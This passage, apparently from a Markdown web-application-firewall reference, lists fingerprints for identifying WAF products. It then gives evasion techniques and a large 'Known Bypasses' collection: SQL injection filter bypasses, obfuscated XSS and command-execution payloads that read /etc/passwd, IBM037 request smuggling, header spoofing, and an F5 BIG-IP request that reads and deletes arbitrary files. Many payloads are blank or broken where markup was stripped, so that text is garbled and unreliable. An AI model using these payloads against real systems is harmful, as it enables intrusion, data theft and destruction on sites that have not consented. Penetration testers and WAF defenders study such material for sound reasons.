      • This is a WebSEAL error message template file text.
      • WebSEAL server received an invalid HTTP request text snippet.
WebTotem
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains The current request was blocked by WebTotem.
West263CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Cache header field with WT263CDN value.
Wordfence
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • Generated by Wordfence text snippet.
      • A potentially unsafe operation has been detected in your request to this site text warning.
      • Your access to this site has been limited text warning.
      • This response was generated by Wordfence text snippet.
WTS-WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page title has WTS-WAF keyword.
    • Server header contains wts as value.
XLabs Security WAF
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
  • Detectability: Moderate
  • Detection Methodology:
    • Response page has reference to:
      • 365cyd.com or 365cyd.net URL.
      • Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains YUNDUN as value.
    • X-Cache header field contains YUNDUN as value.
    • Response page contains Blocked by YUNDUN Cloud WAF text snippet.
    • Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to yunsuologo.
    • Response headers contain the yunsuo_session field name.
YxLink
  • Detectability: Easy
  • Detection Methodology:
    • Response might have yx_ci_session cookie field.
    • Response might have yx_language cookie field.
    • Server header contains Yxlink-WAF field value.
ZenEdge
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to /__zenedge/assets/ directory.
    • Server header contain ZENEDGE keyword.
    • Blocked response headers may contain X-Zen-Fury header.
ZScaler
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to ZScaler.
    • Blocked response page contains:
      • Access Denied: Accenture Policy text.
      • Reference to https://policies.accenture.com URL.
      • Reference to image at https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
## Evasion Techniques Lets look at some methods of bypassing and evading WAFs. ### Fuzzing/Bruteforcing: #### Method: Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: - Wordlists specifically for fuzzing - [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing). - [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) - [Other Payloads](https://github.com/foospidy/payloads) #### Technique: - Load up your wordlist into fuzzer and start the bruteforce. - Record/log all responses from the different payloads fuzzed. - Use random user-agents, ranging from Chrome Desktop to iPhone browser. - If blocking noticed, increase fuzz latency (eg. 2-4 secs). - Always use proxychains, since chances are real that your IP gets blocked. #### Drawbacks: - This method often fails. - Many a times your IP will be blocked (temporarily/permanently). ### Regex Reversing: #### Method: - Most efficient method of bypassing WAFs. - Some WAFs rely upon matching the attack payloads with the signatures in their databases. - Payload matches the reg-ex the WAF triggers alarm. #### Techniques: ### Blacklisting Detection/Bypass - In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted. - The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords. __Case__: SQL Injection ##### ‱ Step 1: __Keywords Filtered__: `and`, `or`, `union` __Probable Regex__: `preg_match('/(and|or|union)/i', $id)` - __Blocked Attempt__: `union select user, password from users` - __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'` ##### ‱ Step 2: __Keywords Filtered__: `and`, `or`, `union`, `where` - __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'` ##### ‱ Step 3: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit` - __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` ##### ‱ Step 4: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by` - __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1` ##### ‱ Step 5: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'` - __Bypassed Injection__: `1 || substr(user,1,1) = 'a'` ##### ‱ Step 6: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || user_id is not null` - __Bypassed Injection__: `1 || substr(user,1,1) = 0x61` - __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)` ##### ‱ Step 7: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` - __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)` - __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))` ##### ‱ Step 8: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` - __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))` - __Bypassed Injection__: `1 || lpad(user,7,1)` ##### ‱ Step 9: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` - __Blocked Attempt__: `1 || lpad(user,7,1)` - __Bypassed Injection__: `1%0b||%0blpad(user,7,1)` ### Obfuscation: #### Method: - Encoding payload to different encodings (a hit and trial approach). - You can encode whole payload, or some parts of it and test recursively. #### Techniques: __1. Case Toggling__ - Some poorly developed WAFs filter selectively specific case WAFs. - We can combine upper and lower case characters for developing efficient payloads. __Standard__: `` __Bypassed__: `` __Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` __Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'` __2. URL Encoding__ - Encode normal payloads with % encoding/URL encoding. - Can be done with online tools like [this](https://www.url-encode-decode.com/). - Burp includes a in-built encoder/decoder. __Blocked__: `` __Obfuscated__: `` __Blocked__: `/?redir=http://google.com` __Bypassed__: `/?redir=http://google。com` (Unicode alternative) __Blocked__: `x` __Bypassed__: `marquee loop1 onfinishalertïž”1)>x` (Unicode alternative) > __TIP:__ Have a look at [this](https://hackerone.com/reports/231444) and [this](https://hackerone.com/reports/231389) reports on HackerOne. :) __Standard__: `../../etc/passwd` __Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd` __4. HTML Representation__ - Often web apps encode special characters into HTML encoding and render them accordingly. - This leads us to basic bypass cases with HTML encoding (numeric/generic). __Standard__: `">` __Encoded__: `"><img src=x onerror=confirm()>` (General form) __Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference) __5. Mixed Encoding__ - Sometimes, WAF rules often tend to filter out a specific type of encoding. - This type of filters can be bypassed by mixed encoding payloads. - Tabs and newlines further add to obfuscation. __Obfuscated__: ``` XSS ``` __6. Using Comments__ - Comments obfuscate standard payload vectors. - Different payloads have different ways of obfuscation. __Blocked__: `` __Bypassed__: `` __Blocked__: `/?id=1+union+select+1,2,3--` __Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--` __7. Double Encoding__ - Often WAF filters tend to encode characters to prevent attacks. - However poorly developed filters (no recursion filters) can be bypassed with double encoding. __Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` __Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` __Standard__: `` __Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E` __8. Wildcard Obfuscation__ - Globbing patterns are used by various command-line utilities to work with multiple files. - We can tweak them to execute system commands. - Specific to remote code execution vulnerabilities on linux systems. __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/???/??t /???/??ss??` Used chars: `/ ? t s` __Standard__: `/bin/nc 127.0.0.1 1337` __Obfuscated__: `/???/n? 2130706433 1337` Used chars: `/ ? n [0-9]` __9. Dynamic Payload Generation__ - Different programming languages have different syntaxes and patterns for concatenation. - This allows us to effectively generate payloads that can bypass many filters and rules. __Standard__: `` __Obfuscated__: `` __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd` > Bash allows path concatenation for execution. __Standard__: `` __Obfuscated__: ``` ``` __13. Token Breakers__ - Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers. - Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature. - However, the request must still remain valid while using token-breakers. - __Case__: Unknown Token for the Tokenizer - __Payload__: `?id=‘-sqlite_version() UNION SELECT password FROM users --` - __Case__: Unknown Context for the Parser (Notice the uncontexted bracket) - __Payload 1__: `?id=123);DROP TABLE users --` - __Payload 2__: `?id=1337) INTO OUTFILE ‘xxx’ --` > __TIP:__ More payloads can be crafted via this [cheat sheet](https://github.com/attackercan/cpp-sql-fuzzer). __14. Obfuscation in Other Formats__ - Many web applications support different encoding types and can interpret the encoding (see below). - Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in. __Case:__ IIS - IIS6, 7.5, 8 and 10 (ASPX v4.x) allow __IBM037__ character interpretations. - We can encode our payload and send the encoded parameters with the query. Original Request: ``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41 id2='union all select * from users-- ``` Obfuscated Request + URL Encoding: ``` POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 115 %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60 ``` The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them): > __TIP:__ You can use [this small python script](others/obfu.py) to convert your payloads and parameters to your desired encodings.
Target Encodings Notes
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body.
  • Equal sign and ampersand needed to be encoded as well (no url-encoding).
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • Query string and body need to be encoded.
  • Url-decoded parameters in query string and body afterwards.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
  • Query string in its original format (could be url-encoded as usual).
  • Body could be sent with/without url-encoding.
  • Equal sign and ampersand should not be encoded in any way.
### HTTP Parameter Pollution #### Method: - This attack method is based on how a server interprets parameters with the same names. - Possible bypass chances here are: - The server uses the last received parameter, and WAF checks only the first. - The server unites the value from similar parameters, and WAF checks them separately. #### Technique: - The idea is to enumerate how the parameters are being interpreted by the server. - In such a case we can pass the payload to a parameter which isn't being inspected by the WAF. - Distributing a payload across parameters which can later get concatenated by the server is also useful. Below is a comparison of different servers and their relative interpretations:
Environment Parameter Interpretation Example
ASP/IIS Concatenation by comma par1=val1,val2
JSP, Servlet/Apache Tomcat First parameter is resulting par1=val1
ASP.NET/IIS Concatenation by comma par1=val1,val2
PHP/Zeus Last parameter is resulting par1=val2
PHP/Apache Last parameter is resulting par1=val2
JSP, Servlet/Jetty First parameter is resulting par1=val1
IBM Lotus Domino First parameter is resulting par1=val1
IBM HTTP Server Last parameter is resulting par1=val2
mod_perl, libapeq2/Apache First parameter is resulting par1=val1
Oracle Application Server 10G First parameter is resulting par1=val1
Perl CGI/Apache First parameter is resulting par1=val1
Python/Zope First parameter is resulting par1=val1
IceWarp An array is returned ['val1','val2']
AXIS 2400 Last parameter is resulting par1=val2
DBMan Concatenation by two tildes par1=val1~~val2
mod-wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c)
### HTTP Parameter Fragmentation - HPF is based on the principle where the server unites the value being passed along the parameters. - We can split the payload into different components and then pass the values via the parameters. __Sample Payload__: `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS` __Sample Query URL__: `http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS` > __TIP:__ A real life example how bypasses can be crafted using this method can be found [here](http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/005673.html). ### Browser Bugs: #### Charset Bugs: - We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. - When the site decodes the string, the payload gets triggered. Example request: 
GET /page.php?p=∀㾀㰀script㾀alert(1)㰀/script㾀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: `" ``` - __Case:__ SQLi ``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1) ``` Many alternatives to the original JavaScript can be used, namely: - [JSFuck](http://www.jsfuck.com/) - [JJEncode](http://utf-8.jp/public/jjencode.html) - [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html) > However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;) ### Abusing SSL/TLS Ciphers: - Many a times, servers do accept connections from various SSL/TLS ciphers and versions. - Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload. #### Technique: - Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this). - Find out the ciphers supported by the server (tools like [SSLScan](https://github.com/rbsec/sslscan) helps here). - If a specific cipher not supported by WAF but by the server, is found, voila! - Initiating a new connection to the server with that specific cipher should smuggle our payload in. > __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) ``` python abuse-ssl-bypass-waf.py -thread 4 -target ``` CLI tools like cURL can come very handy for PoCs: ``` curl --ciphers -G -d ``` ### Abuse WAF limit on HTTP Responses #### Method - Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle. - By sending a HTTP request with a size __greater than the limit__, we can fully evade WAFs. #### Technique - Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB). - Once done, attach your payload to the request after filling the limit with garbage. > A similar technique was used to [bypass Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf). ### Abusing DNS History: - Often old historical DNS records provide information about the location of the site behind the WAF. - The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF. > __TIP:__ Some online services like [IP History](http://www.iphistory.ch/en/) and [DNS Trails](https://securitytrails.com/dns-trails) come to the rescue during the recon process. __Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) ``` bash bypass-firewalls-by-DNS-history.sh -d --checkall ``` ### Using Whitelist Strings: #### Method: - Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF. - This shared secret, if leaked/known, can be used to bypass all protections within the WAF. #### Technique: - Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF. - Usually some `*-sync-request` keywords or a shared token value is used as the secret. - Often adding specific headers may trigger a similar whitelist behaviour. Now when making a request to the server, you can append it as a parameter: ``` http://host.com/?randomparameter=&=True ``` > A real life example how this works can be found at [this blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/). ### Request Header Spoofing: #### Method: - The target is to fool the WAF/server into believing it was from their internal network. - Adding some spoofed headers to represent the internal network, does the trick. #### Technique: - With each request some set of headers are to be added simultaneously thus spoofing the origin. - The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through. Some common headers used: ``` X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 ``` ### Google Dorks Approach: #### Method: - There are a lot of known bypasses of various web application firewalls ([see section](#known-bypasses)). - With the help of google dorks, we can easily find bypasses. #### Techniques: Before anything else, you should hone up skills from [Google Dorks Cheat Sheet](http://pdf.textfiles.com/security/googlehackers.pdf). - Normal search: `+ waf bypass` - Searching for specific version exploits: `" " (bypass|exploit)` - For specific type bypass exploits: `"" + (bypass|exploit)` - On [Exploit DB](https://exploit-db.com): `site:exploit-db.com + bypass` - On [0Day Inject0r DB](https://0day.today): `site:0day.today + (bypass|exploit)` - On [Twitter](https://twitter.com): `site:twitter.com + bypass` - On [Pastebin](https://pastebin.com) `site:pastebin.com + bypass` ## Known Bypasses: ### Airlock Ergon - SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by [@Sec Consult](https://www.exploit-db.com/?author=1614) ``` %C0%80'+union+select+col1,col2,col3+from+table+--+ ``` ### AWS - [SQLi Bypass](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC) by [@enkaskal](https://twitter.com/enkaskal) ``` "; select * from TARGET_TABLE -- ``` - [XSS Bypass](https://github.com/kmkz/Pentesting/blob/master/Pentest-Cheat-Sheet#L285) by [@kmkz](https://twitter.com/kmkz_security) ``` : aa Keep-Alive: 300 ``` - R-XSS Bypass by [@WAFNinja](https://waf.ninja) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xinfection) ```

alert dragme click ``` - GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E ``` - POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` ``` - `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ ``` ### Fortinet Fortiweb - `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854) ``` /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 ``` - CSP Bypass by [@Binar10](https://www.exploit-db.com/exploits/18840) POST Type Query ``` POST //login-app.aspx HTTP/1.1 Host: User-Agent: Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: var1=datavar1&var2=datavar12&pad= ``` GET Type Query ``` http:///path?var1=vardata1&var2=vardata2&pad= ``` ### F5 ASM - XSS Bypass by [@WAFNinja](https://waf.ninja) ```
"/>a ``` ### F5 BIG-IP - XSS Bypass by [@WAFNinja](https://waf.ninja/) ```

Right-Click Here
Right-Click Here ``` - XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) ```
Right-Click Here ]> &e; ``` - Directory Traversal by [@Anastasios Monachos](https://www.exploit-db.com/?author=2932) Read Arbitrary File ``` /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd ``` Delete Arbitrary File ``` POST /tmui/Control/form HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Content-Type: application/x-www-form-urlencoded _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete ``` ### F5 FirePass - SQLi Bypass from [@Anonymous](https://www.exploit-db.com/?author=2168) ``` state=%2527+and+ (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+ BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ ``` ### ModSecurity - [XSS Bypass for CRS 3.2](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic) ``` ```` - [RCE Payloads Detection Bypass for PL3](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1) ``` ;+$u+cat+/etc$u/passwd$u ``` - [RCE Payloads Detection Bypass for PL2](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1) ``` ;+$u+cat+/etc$u/passwd+\# ``` - [RCE Payloads for PL1 and PL2](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0) ``` /???/??t+/???/??ss?? ``` - [RCE Payloads for PL3](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0) ``` /?in/cat+/et?/passw? ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Johannes Dahse](https://twitter.com/#!/fluxreiners) (v2.2) ``` 0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Yuri Goltsev](https://twitter.com/#!/ygoltsev) (v2.2) ``` 1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min') ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Ahmad Maulana](http://twitter.com/#!/hmadrwx) (v2.2) ``` 1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*- ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Travis Lee](http://twitter.com/#!/eelsivart) (v2.2) ``` amUserId=1 union select username,password,3,4 from users ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Roberto Salgado](http://twitter.com/#!/lightos) (v2.2) ``` %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201 ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Georgi Geshev](http://twitter.com/#!/ggeshev) (v2.2) ``` 1%0bAND(SELECT%0b1%20FROM%20mysql.x) ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@SQLMap Devs](http://sqlmap.sourceforge.net/#developers) (v2.2) ``` %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29 ``` - [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@HackPlayers](http://twitter.com/#!/hackplayers) (v2.2) ``` %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201 ``` ### Imperva - [XSS Bypass](https://twitter.com/smaury92/status/1422599636800450572) by [@smaury92](https://twitter.com/smaury92) ```html ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1420046446095519749) by [@0xInfection](https://twitter.com/0xInfection) ```html clickme ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1364622858090016777) by [@0xInfection](https://twitter.com/0xInfection) ```html click ``` - [XSS Bypass](https://twitter.com/0xInfection/status/1212331839743873026) by [@0xInfection](https://twitter.com/0xinfection) ```html pew ``` - [XSS Bypass](https://twitter.com/_ugurercan/status/1188406765735632896) by [@ugurercan](https://twitter.com/_ugurercan) ```html
``` - [Imperva SecureSphere 13 - Remote Command Execution](https://www.exploit-db.com/exploits/45542) by [@rsp3ar](https://www.exploit-db.com/?author=9396) - XSS Bypass by [@David Y](https://twitter.com/daveysec) ``` ``` - XSS Bypass by [@Emad Shanab](https://twitter.com/alra3ees) ``` anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` - XSS Bypass by [@WAFNinja](https://waf.ninja) ``` %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E ``` - XSS Bypass by [@i_bo0om](https://twitter.com/i_bo0om) ``` ``` - XSS Bypass by [@c0d3g33k](https://twitter.com/c0d3g33k) ``` ``` - SQLi Bypass by [@DRK1WI](https://www.exploit-db.com/?author=7740) ``` 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' ``` - SQLi by [@Giuseppe D'Amore](https://www.exploit-db.com/?author=6413) ``` stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1 ``` - [Imperva SecureSphere <= v13 - Privilege Escalation](https://www.exploit-db.com/exploits/45130) by [@0x09AL](https://www.exploit-db.com/?author=8991) ### Kona SiteDefender - [XSS Bypass](https://twitter.com/XSaadAhmedX/status/1482398313227948034) by [@SaadAhmed](https://twitter.com/XSaadAhmedX) ``` %3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E ``` - [XSS Bypass](https://twitter.com/h1_kenan/status/1185826172308983808) by [@h1_kenan](https://twitter.com/h1_kenan) ``` asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie) ``` - [HTML Injection](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs) ``` 